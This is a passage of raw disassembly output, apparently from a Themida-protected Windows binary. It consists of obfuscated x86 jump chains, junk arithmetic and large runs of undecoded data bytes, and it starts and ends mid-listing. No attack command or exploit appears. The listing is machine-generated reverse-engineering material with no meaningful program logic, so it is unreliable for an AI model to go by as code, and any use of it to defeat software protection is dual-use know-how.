5A6F408Bh mov edx, [esp] add esp, 4 jmp loc_59EDE4 ; --------------------------------------------------------------------------- loc_59B4A9: ; CODE XREF: Themida_:005A466Bj add esp, 4 jmp loc_5A5B94 ; --------------------------------------------------------------------------- dd 5C241487h, 46418A05h, 0E9D80128h, 27B8h ; --------------------------------------------------------------------------- loc_59B4C4: ; CODE XREF: Themida_:0059A704j pop edx sub ebp, 65E55148h and ecx, ebp mov ebp, [esp] add esp, 4 shr ecx, 7 push 26B5h mov [esp], edx push 3F35h mov [esp], ebx push dword ptr [esp] pop edx jmp loc_5A0D6A ; --------------------------------------------------------------------------- dw 0C3B1h dd 0DAE9CB00h, 1FFFFECh, 53D8E9D8h, 565D0000h, 42474FFh db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A31EB ; --------------------------------------------------------------------------- loc_59B513: ; CODE XREF: Themida_:0059A741j pop ebp push dword ptr [esp] pop edi add esp, 4 xor ecx, [esp] jmp loc_5A3110 ; --------------------------------------------------------------------------- loc_59B526: ; CODE XREF: Themida_:00595567j mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebp jmp loc_597035 ; --------------------------------------------------------------------------- dw 5F54h dd 0FDB95153h, 5718DD10h, 22EF07BFh, 8BF901E7h, 0ADE9243Ch dd 5FFFFFA7h, 0FF66F8E9h, 348B66FFh, 0E2895224h, 4C281h dd 0EA810000h, 4, 5C241487h, 0FFF4F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B571: ; CODE XREF: Themida_:005983DBj xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 2 dup(0E9h) db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B57F: ; CODE XREF: Themida_:00595B59j sub esp, 4 mov [esp], ebp jmp loc_593EC2 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h aSR_0 db '\é×R',0 align 2 loc_59B596: ; CODE XREF: Themida_:005A4E22j push eax push 0B227110h jmp loc_594073 ; --------------------------------------------------------------------------- db 81h, 0EBh, 5Ah dd 50F41FA8h, 7B4B3EB8h, 1E8835Dh, 2B5B5835h, 50AE0520h dd 0C129F6E0h, 9BEE9h, 0B936800h, 0E8E90000h, 0BAFFFFC4h dd 7901A12Ah, 34FFF229h, 0C4815E24h, 4, 0FFAD54E9h, 0D2E956FFh dd 8BFFFFB7h, 0C481243Ch, 4, 0A7E9CB01h, 3100002Ah, 4332404h dd 46A0E924h, 0BA520000h, 3FCC5708h, 94B7E9h, 85CD8100h dd 81572635h, 10B5E4EDh, 5DEA89C5h, 15AD601h, 0B1EE81EEh dd 5D3A2749h, 2600685Bh, 5CE90000h db 7Ah, 2 dup(0) byte_59B633 db 0FFh ; DATA XREF: Themida_:0059086Co dd 148B2434h, 4C48324h, 5371E9h, 4DC78100h, 8752380Dh dd 0E9D5F7EFh, 0FFFF5D17h, 0C581E589h, 4, 0FF6C09E9h, 59A725FFh dd 99E938A6h, 59000092h, 9DBF575Bh, 513AAA6Fh, 7E174EB9h dd 0E9CF093Eh, 0FFFFE0DEh dword_59B67C dd 240C8B66h, 0E9E08950h, 4FD7h, 33E9595Bh, 87FFFF6Ch ; DATA XREF: Themida_:005908ECo dd 815C242Ch, 4C7h, 4C78300h, 79C268h, 243C8900h, 0FFB3DEE9h dd 0E32859FFh, 0FFA672E9h, 585A58FFh, 0EE9DD88h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B6BB: ; CODE XREF: Themida_:00592F50j pop ebx sub edx, 4 jmp loc_5A4CC5 ; --------------------------------------------------------------------------- loc_59B6C7: ; CODE XREF: Themida_:005A16B2j push edx mov edx, 75D54863h sub edx, 39D2139Ch jmp loc_59AA72 ; --------------------------------------------------------------------------- aQsR db 'QéÐ',0 align 2 word_59B6DE dw 8B66h ; DATA XREF: Themida_:00590864o dd 0CAE9240Ch, 83000030h, 34FF04C4h, 0C4835924h, 788AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B6F6: ; CODE XREF: Themida_:0059646Aj xor edx, 414D1D9Bh sub esp, 4 mov [esp], edx pop esi mov edx, [esp] add esp, 4 sub ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B720: ; CODE XREF: Themida_:005A3F85j xor dh, ah jmp loc_598563 ; --------------------------------------------------------------------------- loc_59B727: ; CODE XREF: Themida_:00599988j inc edx push eax mov eax, esp jmp loc_591745 ; --------------------------------------------------------------------------- dd 23C7BA52h, 0EA816BBBh, 7EAB1D53h, 0F047EA81h, 0D331A7E9h dd 0C4F3815Ah, 81240829h, 0AEF5C1C3h, 8BD82955h, 0C481241Ch dd 4, 0FF533AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B761: ; CODE XREF: Themida_:00591F1Bj shr ebp, 2 jmp loc_5A2A5A ; --------------------------------------------------------------------------- loc_59B769: ; CODE XREF: Themida_:00596890j mov esi, 7BDD32A2h jmp loc_592010 ; --------------------------------------------------------------------------- byte_59B773 db 0FFh ; DATA XREF: Themida_:005908FCo dd 48B2434h, 4C48324h, 4EA36850h, 0E9540000h, 496Bh ; --------------------------------------------------------------------------- loc_59B788: ; CODE XREF: Themida_:005A3733j mov esi, ebp pop ebp pop ecx sub edx, esi pop esi add edx, edi jmp loc_59F60B ; --------------------------------------------------------------------------- aSs_1 db '(È鑜',0 dd 5BDE0100h, 9158EE81h, 0F789F4C1h, 247C015Eh, 2C815F04h dd 1E16E724h, 0A6ECE97Eh, 2C89FFFFh, 0D9F36824h, 34FF1002h dd 0EC835D24h, 5E60E904h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A36FD ; --------------------------------------------------------------------------- dw 0DDF6h dd 0FFD4BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B7DD: ; CODE XREF: Themida_:005A2FE4j push esi mov esi, 0AFD4F85h sub esp, 4 mov [esp], esi xchg edi, [esp] neg edi jmp loc_5A3F53 ; --------------------------------------------------------------------------- dw 0EF29h dd 34FF5E5Dh, 0C4835924h, 78F16804h, 0E90000h, 0B800007Fh dd 4, 7AE9C701h db 2Eh, 2 dup(0) byte_59B817 db 0FFh ; DATA XREF: Themida_:00590A50o dd 48B2434h, 0E3895324h, 0FF859DE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B825: ; CODE XREF: Themida_:00590C9Ej mov eax, 154B675Ch jmp loc_5A401A ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483241Ch, 24048F04h, 526E9h db 0 byte_59B841 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00590890o dd 0E9545724h, 4FFh ; --------------------------------------------------------------------------- loc_59B84C: ; CODE XREF: Themida_:00599ACEj or edx, esi pop esi add edx, 8B83955Eh add edi, 711A5087h add edi, edx sub edi, 711A5087h mov edx, [esp] jmp loc_5A19F1 ; --------------------------------------------------------------------------- db 81h dd 7D6EBEC2h, 81CA016Ch, 7D6EBEEAh, 0EC81596Ch, 4, 0E9241489h dd 5C5Dh, 0F3E9FB89h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B88F: ; CODE XREF: Themida_:0059FD4Bj pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 0E780A8Ch jmp loc_594CA3 ; --------------------------------------------------------------------------- loc_59B8A0: ; CODE XREF: Themida_:00596F60j add esp, 4 or cl, 38h add cl, 28h push 6122h jmp loc_5A2FA3 ; --------------------------------------------------------------------------- dw 0C6B7h dd 0E95BFA30h, 0E74h, 0F7E95153h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B8C7: ; CODE XREF: Themida_:0059D9A5j push ebp jmp loc_591FDA ; --------------------------------------------------------------------------- db 50h, 0B8h, 0FFh dd 524A966Fh, 0C50A0CBAh, 8BD00105h, 0C4812414h, 4, 0DC01E335h dd 319D0525h, 0EF81490Bh, 135B6DAEh, 1CA4E9h, 0F7814700h dd 212B2FBBh, 2A42B951h, 11E933CFh, 8B000012h, 0C4812414h dd 4, 95BD821h, 53E2D1C2h, 241C8B54h, 8104C483h, 4C3h dd 4EB8300h, 8B241C87h, 3BE92424h, 59000042h, 2C8BE831h dd 5C0AE924h, 3C89FFFFh, 4BF24h, 6C810000h, 3B1E0424h dd 53E927AAh db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B957: ; CODE XREF: Themida_:005A2427j neg ch push dx mov dh, 0D1h xor ch, dh pop dx and ch, 0D8h add ch, 0B2h sub ch, 0A2h sub dl, ch mov ecx, [esp] jmp loc_5976F8 ; --------------------------------------------------------------------------- dd 64A4F581h, 0ED811676h, 6FD02A79h, 81D5F745h, 30636EC5h dd 84E95667h, 5A000019h, 8058E500h, 0F580EBCDh, 0FFE8301Ch dd 0CE92434h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B9A3: ; CODE XREF: Themida_:005914F7j add ecx, edi jmp loc_59646F ; --------------------------------------------------------------------------- dw 0FE29h dd 0E9243C8Bh, 20F2h ; --------------------------------------------------------------------------- loc_59B9B4: ; CODE XREF: Themida_:0059D5B8j mov edi, 3663251Dh neg edi add edi, 6FDC0449h or edi, 2406672Ch xor edi, 1F3F8FD1h jmp loc_592F93 ; --------------------------------------------------------------------------- dw 3433h dd 24343124h, 0FF8E6CE9h, 5EF231FFh, 0FF7492E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B9E5: ; CODE XREF: Themida_:005A2CE7j pop ecx or ebp, eax jmp loc_596B67 ; --------------------------------------------------------------------------- loc_59B9ED: ; CODE XREF: Themida_:00599A79j add esi, edi jmp loc_5933D3 ; --------------------------------------------------------------------------- dd 0D6F7F187h, 0EC83F187h, 243C8904h, 777A77BFh, 6F04E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BA0A: ; CODE XREF: Themida_:005A0066j add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] mov eax, [esp] jmp loc_5A1D12 ; --------------------------------------------------------------------------- db 81h dd 59D8B5C3h, 0E9D9290Fh, 2E65h, 6624248Bh, 0D30C381h dd 31EB8166h, 0C329660Ch, 31C38166h, 0EB81660Ch, 56660D30h dd 32D1E9h, 0D0C58100h, 100192Bh, 0C335DE9h, 396BE924h dd 0BA520000h, 2A2A439Eh, 0C2EA8142h, 0F7158D4Bh, 81DAF7D2h dd 76DD3EEAh, 5AD68909h, 0C247429h, 81E9535Eh, 89FFFFD4h dd 7E08E9E5h db 2 dup(0) word_59BA86 dw 77FFh ; DATA XREF: Themida_:005908D4o dd 58669D1Ch, 24041166h, 5005E99Ch, 0D004FFFFh, 804FB753h dd 0DFF615E7h, 0D008E7C0h, 7E7C0EFh, 8053B551h, 0EF28EEF5h dd 0FF651BE9h, 81E389FFh, 4C3h, 4B85000h, 1000000h, 0EC8358C3h dd 241C8904h, 42474FFh, 24048F5Bh, 0E289525Ch, 4C281h dd 0EA830000h, 0CD7FE904h, 0E189FFFFh, 4C181h, 51520000h dd 524E6BB9h, 0B199BA68h, 0CA0197ADh, 1821E959h, 0E7890000h dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 42474FFh dd 1ED8E95Bh, 0EC830000h, 68BCE904h, 0E8010000h, 33D3255Dh dd 0C14073E2h, 29E906E0h, 81FFFFF9h, 806062EFh, 5FF8890Eh dd 89C18951h, 15859CAh, 0C5835AD5h, 242C8704h, 0E01E9h db 0 ; --------------------------------------------------------------------------- loc_59BB55: ; CODE XREF: Themida_:005A1050j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_591016 ; --------------------------------------------------------------------------- loc_59BB69: ; CODE XREF: Themida_:0059E6F8j push esp jmp loc_5A1CD7 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4C48104h, 51000000h, 256A9B9h, 5AF56802h dd 5BE90000h, 81000024h, 4ECh, 24248900h, 4240481h, 5A000000h dd 6FC768h, 0A5D2E900h, 0BB53FFFFh, 0E6D0A84h, 4984EB81h dd 0E3C1685Bh, 3EBC108h, 0E69AC381h, 65E91EDEh db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BBC3: ; CODE XREF: Themida_:005A1E13j push eax mov eax, 17C10C0Eh jmp loc_593AD0 ; --------------------------------------------------------------------------- dw 14F7h dd 42685A24h, 89000005h, 0BB532404h, 0 dd 89DA8952h, 55B5AD0h, 1F8D0E33h, 632D68h, 24348900h dd 533064BEh, 0E9F00163h, 0FFFFF2EFh, 4C481h, 0C1810000h dd 0C3D0BC01h, 34FFCB89h, 0E9575924h, 0FFFF5B48h, 8044EB80h dd 0D6E978C3h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BC23: ; CODE XREF: Themida_:005A0A2Bj push eax mov eax, 47C13A57h neg eax push ebp mov ebp, 8B9EDC26h jmp loc_5A3E4A ; --------------------------------------------------------------------------- dw 8957h dd 0A732E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BC3E: ; CODE XREF: Themida_:00593346j sub ebx, 0EE056062h mov ecx, ebx jmp loc_59E567 ; --------------------------------------------------------------------------- db 55h dd 63054DBDh, 3CD8113h, 813CFD46h, 9B7C77F5h, 95FAE916h dd 0C281FFFFh, 44915E4Ah, 7B7D6853h, 11E90000h, 81FFFF67h dd 0C16F87C6h, 4E90E951h, 0FB350000h, 0E928E94Ch, 3DCAh dd 87B7535Ch, 0E9C5B450h, 0FFFF636Dh, 33242C31h, 248B242Ch dd 24048924h, 0F9240481h, 0FF738D25h, 34FF2434h, 0C4815824h dd 4, 0E904C483h, 48E0h, 158C689h, 0E9535EF2h, 18FEh ; --------------------------------------------------------------------------- loc_59BCC8: ; CODE XREF: Themida_:0059A5ECj push ebp mov ebp, 4 sub ebx, 4A9E7E49h add ebx, ebp add ebx, 4A9E7E49h jmp loc_5A06A6 ; --------------------------------------------------------------------------- loc_59BCE1: ; CODE XREF: Themida_:0059CABFj pop eax not eax jmp loc_5A0E6F ; --------------------------------------------------------------------------- db 68h, 67h, 0 dd 3C890000h, 4EC8124h, 89000000h, 4832424h, 3C8B0424h dd 0E1895124h, 4C181h, 0C1830000h, 762CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BD12: ; CODE XREF: Themida_:005A193Dj mov [esp], ebp jmp loc_5A21B7 ; --------------------------------------------------------------------------- loc_59BD1A: ; CODE XREF: Themida_:005A5B97j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_599AED ; --------------------------------------------------------------------------- loc_59BD2B: ; CODE XREF: Themida_:00598858j mov [esp], ebp push esp pop ebp add ebp, 4 push ecx push esp jmp loc_590FB2 ; --------------------------------------------------------------------------- loc_59BD3D: ; CODE XREF: Themida_:0059F80Cj add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] jmp loc_5A15E6 ; --------------------------------------------------------------------------- db 0FFh dd 835F2434h, 525504C4h, 4BAh, 5AD58900h, 413EF81h, 27E96154h dd 8B000001h, 0C80F2424h, 3FA368h, 8A80E900h, 0F6B90000h dd 496D8D7Eh, 0FF56C6E9h, 7918BDFFh, 0ED8119DFh, 3FA72FF5h dd 0E5C1D5F7h, 5425E904h, 2C8B0000h, 4C48124h, 0E9000000h dd 0FFFFCB39h ; --------------------------------------------------------------------------- loc_59BDA4: ; CODE XREF: Themida_:00595A1Aj add ecx, eax pop eax jmp loc_59E7DE ; --------------------------------------------------------------------------- dd 57D82966h, 5355BF66h, 66D7F766h, 679AF781h, 64C78166h dd 69D9E9A1h, 4747FFFFh, 372FBB53h, 49E915E8h, 81000018h dd 4ECh, 242C8900h, 8324348Bh, 815D04C4h, 0B7324CC6h, 9B87E92Dh dd 0FFBAFFFFh, 1FFFFFFh, 0BD555AD6h, 7DDB31A9h, 0E9FD3145h dd 0FFFFB37Eh, 976DDBBEh, 87FDE91Eh, 0C781FFFFh, 2BC042F3h dd 4EDF684Fh, 1C890000h, 0CD01BB24h, 0DF313627h, 0E92434FFh dd 0FFFF59D0h, 2404895Ch, 0E949B151h, 7F1Ah, 88C18851h dd 48B59CEh, 0E7895724h, 4C781h, 0C7830000h, 4469E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BE52: ; CODE XREF: Themida_:00592EBBj and ecx, 0CA14D9Eh xor ecx, 0C816980h mov edi, ecx pop ecx and eax, edi push dword ptr [esp] jmp loc_597987 ; --------------------------------------------------------------------------- db 81h dd 5B3825EDh, 5761E955h, 0BD55FFFFh, 217B2556h, 25C2E581h dd 0ED813647h, 380D46B2h, 0F77FE945h, 0EF01FFFFh, 2A5DBB53h dd 0BE567316h, 706C2A58h, 72E9F321h, 0B5FFFFF5h, 0A3F580C8h dd 0FE59EB88h, 4D8DE9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BEB2: ; CODE XREF: Themida_:005A30CAj shl dh, 4 sub dh, 2Bh sub esp, 2 mov [esp], dx xchg bh, [esp+1] not bh jmp loc_59270E ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 1000000h, 81C581D5h, 0E977D22Fh, 0FFFF8DE6h dd 83240C8Bh, 0C48304C4h, 243C8B04h, 0E9E28952h, 104Ah dd 0DEE95557h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BEFB: ; CODE XREF: Themida_:0059FD17j sub ebx, eax add ebx, 83006C0h push ecx jmp loc_59243D ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 87000000h, 895C2434h, 0EC812404h, 4, 0BB28E954h db 2 dup(0FFh) word_59BF22 dw 8B66h ; DATA XREF: Themida_:0059099Co dd 0D3682404h, 89000024h, 0EC832404h, 24248904h, 501CE9h dd 24148B00h, 0E9E38953h, 0FFFF6660h ; --------------------------------------------------------------------------- loc_59BF44: ; CODE XREF: Themida_:005A220Aj mov [esp], ebp sub esp, 4 mov [esp], ebx push 507C3885h push dword ptr [esp] mov ebx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_59995F ; --------------------------------------------------------------------------- dd 912534BAh, 5BDA2921h, 4EC81h, 64E90000h, 8BFFFF7Ah dd 0C4812404h, 4, 0C181D901h, 74306113h, 4EC835Bh, 53243489h dd 8113E9h, 1D3BB00h, 0D3F706EEh, 3A06BD55h, 0EB096D2Ch dd 0FFEC84E9h, 4C483FFh, 50E68956h, 6B78E9h, 241C8B00h dd 8104C483h, 3015D8E3h, 1BC38127h, 530B12DDh, 0C6895B58h dd 582434FFh, 50E28952h, 3A69A9B8h, 5E8C10Bh, 511BF57h dd 89E970A3h, 0B8FFFFACh, 27EB4B40h, 8158C329h, 0A95CDDEFh dd 0EEBD5504h, 16A4F5Fh, 0DF015DEFh, 5FEEEF81h, 0C7816A4Fh dd 4A95CDDh, 0E9241C8Bh, 0FFFF57C5h, 0C8E9F329h, 83000031h dd 77E904C4h, 68FFFF81h, 0FFEEF596h, 81242C8Bh, 4C4h, 1E880500h dd 0E8293726h, 1B4FBF57h, 0E7C16F57h, 0FFC78308h, 0B8CB951h dd 0CF293EA5h, 0E3E95059h, 2D000006h, 67FD7437h, 0AFB03548h dd 0C3898C71h, 9150E9h db 0 ; --------------------------------------------------------------------------- loc_59C06D: ; CODE XREF: Themida_:005941D7j pop ebx sub ebx, 2F5975A7h push 38E4h mov [esp], edx mov edx, 0FBFA76F4h jmp loc_5930FB ; --------------------------------------------------------------------------- dw 0D1F7h dd 860DF181h, 0CF898CC6h, 0E9F83159h, 0FFFFA967h ; --------------------------------------------------------------------------- loc_59C098: ; CODE XREF: Themida_:005A0563j push edi mov edi, 5BFF4A4Fh jmp loc_599A73 ; --------------------------------------------------------------------------- loc_59C0A3: ; CODE XREF: Themida_:0059C9E4j add edi, 22F56F11h sub edi, 0BBD5DF35h sub eax, 39511111h add eax, edi add eax, 39511111h pop edi push ebx jmp loc_59984D ; --------------------------------------------------------------------------- dw 0F281h dd 63F32B38h, 2EAAE9h, 5BFD8800h, 0FFED8058h, 0FFEDB8E9h dd 0D8285AFFh, 77B5515Bh, 0E8C580h, 58A4E9EBh, 8158FFFFh dd 4C7h, 243C8700h, 3E2D665Ch, 94056627h, 0FCAAE96Ch, 0C281FFFFh dd 4, 348F68h, 24148900h, 79DCE9h, 4C48100h, 0C1000000h dd 0C38105E3h, 0D8D633Eh, 0FFF478E9h, 4C681FFh, 87000000h dd 815C2434h, 4C3h, 2BD5500h, 0E9000000h, 6108h ; --------------------------------------------------------------------------- loc_59C144: ; CODE XREF: Themida_:005A1494j push eax mov eax, 4 add edi, eax jmp loc_5930D1 ; --------------------------------------------------------------------------- loc_59C151: ; CODE XREF: Themida_:00599866j xor ebx, 678C407Fh add ebx, 0FEF6D822h sub eax, ebx pop ebx sub eax, edx push ebx mov ebx, 382C02D7h jmp loc_5A0ECB ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0FA010000h, 2414875Fh, 4C4835Ch, 8B24048Fh, 8B662424h dd 0EC812404h, 4, 322AE9h, 65FD6800h, 4890000h, 724D6824h dd 44E97DD5h, 80000041h, 25E901EBh db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C1AB: ; CODE XREF: Themida_:005A3117j mov cx, [esp] push 32Eh mov [esp], ebx jmp loc_59B154 ; --------------------------------------------------------------------------- dd 0E9241433h, 46C5h ; --------------------------------------------------------------------------- loc_59C1C4: ; CODE XREF: Themida_:005A2AA3j pop dx push 2EEEh mov [esp], ebx push 769h mov [esp], ecx sub esp, 4 mov [esp], eax mov ah, 9Fh neg ah push edx mov dl, 54h jmp loc_5A240F ; --------------------------------------------------------------------------- loc_59C1EB: ; CODE XREF: Themida_:0059119Cj mov esi, 738F7BE1h shr esi, 4 push eax jmp loc_5A1A39 ; --------------------------------------------------------------------------- byte_59C1F9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005908F4o dd 592434FFh, 8904EC83h, 0E2892414h, 0BCBDE956h, 7868FFFFh dd 89000030h, 0BD55241Ch, 1E71162Ch, 3A79C6BBh, 8BEB310Bh dd 8950242Ch, 405E0h, 0C0830000h, 24048704h, 23C8E95Ch dd 58590000h, 0E902C283h, 3D02h ; --------------------------------------------------------------------------- loc_59C244: ; CODE XREF: Themida_:0059AA74j pop edx sub esi, 27C023BFh jmp loc_590E6A ; --------------------------------------------------------------------------- dd 9DFEBDB8h, 58C13191h, 5659C831h, 0D653E5BEh, 0D51FE90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C266: ; CODE XREF: Themida_:005A5745j xor edx, 38F740h jmp loc_593A2A ; --------------------------------------------------------------------------- loc_59C271: ; CODE XREF: Themida_:00591BFEj sub edi, 44AD59C5h add ecx, edi mov edi, [esp] add esp, 4 push edi mov edi, 2 push eax mov eax, 657321F9h add ecx, eax pop eax push ebp mov ebp, 19BF6875h dec ebp inc ebp sub ebp, 0DB0E666Dh sub ecx, ebp pop ebp jmp loc_593FDD ; --------------------------------------------------------------------------- aIYst db 'ˆÊYét(',0 align 4 dd 8DBAC681h, 0F589C33Ah, 0E924348Bh, 0FFFFBE60h, 1BBD68h dd 240C8900h, 5404EC83h, 8124048Fh, 42404h db 2 dup(0), 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_591269 ; --------------------------------------------------------------------------- db 81h dd 356929F2h, 97E28173h, 817ADA34h, 8F2428F2h, 3805E93Bh dd 0DA290000h, 5AD5215Bh, 56FFED83h, 0FFD499E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C301: ; CODE XREF: Themida_:00598567j xor [esp+1], dh xor dh, [esp+1] xor [esp+1], dh mov cx, [esp] jmp loc_59E066 ; --------------------------------------------------------------------------- dw 0CFBDh dd 81192A18h, 0D97C44CDh, 0E9E5D106h, 5812h, 8143E3D1h dd 0D373EECBh, 0E9E3D110h, 5Eh, 0C104E6C1h, 0F68106E6h dd 0D6E22F5Eh, 0FFE5D8E9h, 5BD901FFh, 5E41E981h, 0BF576603h dd 56A3058Eh, 0E95FF929h, 1661h ; --------------------------------------------------------------------------- loc_59C360: ; CODE XREF: Themida_:00598937j pop esp jmp loc_598C16 ; --------------------------------------------------------------------------- dw 0F791h dd 89BB53D0h, 0C16AEA2Dh, 814308E3h, 49B217F3h, 7B6205CFh dd 0D82959B8h, 0FFB91CE9h, 0E95A5BFFh, 0FFFFD270h, 515868h dd 673EE900h, 0EB810000h, 0FEB5A8ADh, 0FF5E5DE9h, 0E9E089FFh dd 442Ah ; --------------------------------------------------------------------------- loc_59C3A8: ; CODE XREF: Themida_:00595B76j add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] jmp loc_593852 ; --------------------------------------------------------------------------- db 68h, 8Fh, 72h dd 0C890000h, 940DE924h, 0C9810000h, 4E3670ADh, 0FFE98349h dd 0A9E18149h, 8176D51Ah, 82B68CE9h, 59CA895Ah, 48D4BD55h dd 0EA3110ECh, 2153E9h, 2434FF00h, 0E089505Bh, 405h, 40500h dd 81E90000h, 83000040h, 348B04C4h, 2B30E924h, 0C6810000h dd 4, 51E7E9h, 0FE62B100h, 67DAE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C422: ; CODE XREF: Themida_:005918C0j pop edx sub ebx, edi jmp loc_59555C ; --------------------------------------------------------------------------- loc_59C42A: ; CODE XREF: Themida_:005A249Bj add esp, 4 jmp loc_59D09B ; --------------------------------------------------------------------------- db 1, 0D9h, 5Bh dd 240C875Eh, 6624248Bh, 66C8BE0Fh, 663FB268h, 0E9240C89h dd 0FFFF464Bh, 5324148Bh, 5404EC83h, 0FFEA2CE9h, 68D831FFh dd 3ACh, 0BD242C89h, 51966536h, 1BB53h, 0BA520000h, 25C17F89h dd 73ACE9h, 5FFA0100h, 626C68h, 61B1E900h, 8766FFFFh, 0F766241Ch dd 1C8766D3h, 348B6624h, 2C48324h, 0E902EC83h, 796Fh dword_59C4A4 dd 9D1C77FFh, 4185866h, 0E8E99C24h, 8BFFFF45h, 0C4812404h ; DATA XREF: Themida_:005907F4o dd 4, 0FFFECBE9h, 46E956FFh db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C4C7: ; CODE XREF: Themida_:00597B27j xchg edx, [esp] mov esp, [esp] push edx mov edx, 513D69B2h jmp loc_59E32A ; --------------------------------------------------------------------------- loc_59C4D8: ; CODE XREF: Themida_:005A2D34j sub ebx, 5DC346CCh push dword ptr [esp] jmp loc_591225 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 4C281h, 14330000h, 24143124h, 8B241433h, 0C6682424h dd 89000021h, 0FEE9241Ch, 47000048h, 7D4068h, 24348900h dd 0FFC6B9E9h, 8EFC1FFh, 0FF5A47E9h, 45BE56FFh, 814F9E4Bh dd 0A66740EEh, 0E3E9572Fh, 1FFFFBAh, 0C68158C6h, 86E4EDFh dd 0EE81EE01h, 86E4EDFh, 1DEABF57h, 0E7D10B37h, 0B79BE947h dd 0E189FFFFh, 4C181h, 0A5E90000h, 68FFFFC5h, 4, 8CC8E9h dd 9E685700h, 5F4DFA24h, 12EF814Fh, 89D621BCh, 40405FF8h dd 669BE9h db 0 ; --------------------------------------------------------------------------- loc_59C581: ; CODE XREF: Themida_:0059709Dj shl ebx, 5 jmp loc_5971AE ; --------------------------------------------------------------------------- db 5Dh, 52h, 0BAh dd 4, 0CCE9D501h, 6600008Bh, 66243489h, 0F7243481h, 6658667Ch dd 667CF735h, 0E958C389h, 0FFFFDDAFh ; --------------------------------------------------------------------------- loc_59C5B0: ; CODE XREF: Themida_:00597B75j push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_5A034A ; --------------------------------------------------------------------------- dd 0C102E2C1h, 0BFE908E2h, 8100006Dh, 4C1h, 4C18300h, 0E9240C87h dd 0FFFFA9DCh, 4C181h, 89510000h, 4C181E1h, 0E9000000h dd 0FFFF906Fh, 5FF90158h, 2190C181h, 0E9813B84h, 3F15BEEh dd 0C9E9F101h, 81FFFFB5h, 557D3CF6h, 81D6F711h, 94A430F6h dd 5EF52983h, 6E9DDF7h db 32h, 2 dup(0) byte_59C623 db 8Bh ; DATA XREF: Themida_:00590A44o dd 0E957240Ch, 11EFh, 0E9C2015Eh, 0FFFFF62Eh, 88240489h dd 1C1468CCh, 14890000h, 88E68824h, 48B5AF3h, 0E3895324h dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF5A31h, 0ED81F501h dd 79705EDBh, 8324348Bh, 0C58104C4h, 4, 5C242C87h, 95A68h dd 24048900h, 57D668h, 4C73E900h, 48FFFFFh, 24248B24h dd 2404FF66h, 4401E99Ch, 0EA88FFFFh, 0D588D2F6h, 2E5C05Ah dd 0E9C9F580h, 0FFFFD105h dword_59C6AC dd 8B2434FFh, 5455240Ch, 83242C8Bh, 0C58104C4h, 4, 3304C583h ; DATA XREF: Themida_:0059081Co dd 2C31242Ch, 242C3324h, 6824248Bh, 2BA7h, 5C80E9h, 0E3685100h dd 5968B840h, 2F97C181h, 0D1F72E52h, 14E9D987h, 66FFFFEBh dd 3166F931h, 7986E9CFh, 0D02DFFFFh, 0E945A51Ch, 43DEh dd 147CB850h, 9BE9073Fh, 8100005Dh, 1279FBEBh, 5BDE01CCh dd 7D7DE9h, 0FFC18300h, 0D5F7E987h, 5052E987h, 0EE7D88B8h dd 0E9C28958h, 16EFh, 8851C280h, 984EE9D3h, 0FEB8FFFFh dd 21306012h, 4405E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59C74A: ; CODE XREF: Themida_:00594B7Ej push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_59CE98 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 7 dd 